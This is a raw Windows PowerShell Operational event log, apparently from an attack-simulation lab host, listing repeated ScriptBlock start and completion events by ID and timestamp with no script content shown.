Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022637
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022635
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022654
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022653
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022652
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022651
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022649
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022647
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022646
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022645
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022663
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022661
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022659
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022657
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022655
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022674
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022673
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022671
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022670
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022669
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022667
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022665
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022683
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022681
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022679
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022677
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022675
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022693
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022691
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022689
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022688
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022687
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022685
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
